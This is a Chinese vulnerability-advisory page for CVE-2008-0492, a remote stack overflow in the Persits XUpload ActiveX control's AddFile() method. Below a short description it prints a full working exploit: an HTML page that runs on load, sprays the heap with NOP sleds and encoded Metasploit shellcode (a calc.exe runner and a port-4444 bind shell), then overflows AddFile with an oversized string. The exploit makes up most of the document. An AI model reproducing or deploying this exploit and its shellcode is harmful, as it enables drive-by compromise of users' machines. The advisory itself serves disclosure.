安全研究
安全漏洞
Persits Software XUpload AddFile()方式远程栈溢出漏洞
发布日期：2008-01-25
更新日期：2008-01-30
受影响系统：
Persits XUpload 3.0.0.4描述：
Persits XUpload 2.1.0.1
BUGTRAQ ID: 27456
CVE ID: CVE-2008-0492
XUpload是功能强大的客户端上传ActiveX控件，允许用户同时上传多个文件。
XUpload的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。
XUpload的Persits.XUpload.2 ActiveX控件（XUpload.ocx）没有正确地处理传送给AddFile()方式的输入参数，如果用户受骗访问了恶意网页并向该方式传送了超长字符串参数的话，就可能触发栈溢出，导致执行任意指令。
<*来源：David Kierznowski
链接：http://secunia.com/advisories/28660/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Persits XUpload 3.0 AddFile() Buffer Overflow Exploit
Vulnerability discovered by David Kierznowski
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, xupload.ocx 3.0.0.4
Thanks to David, h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>Persits XUpload 3.0 AddFile() Buffer Overflow Exploit</title>
<script language="JavaScript" defer>
function Check() {
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
"%u684f%u3956%u386f%u4350");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode1 }
var buf = ""
for (i = 0; i < 400; i++) { buf = buf + unescape("%u0A0A") }
obj.AddFile(buf);
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003">
Unable to create object
</object>
</body>
</html>
建议：
厂商补丁：
Persits
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://xupload.aspupload.com/
浏览次数：3186
严重程度：0（网友投票）
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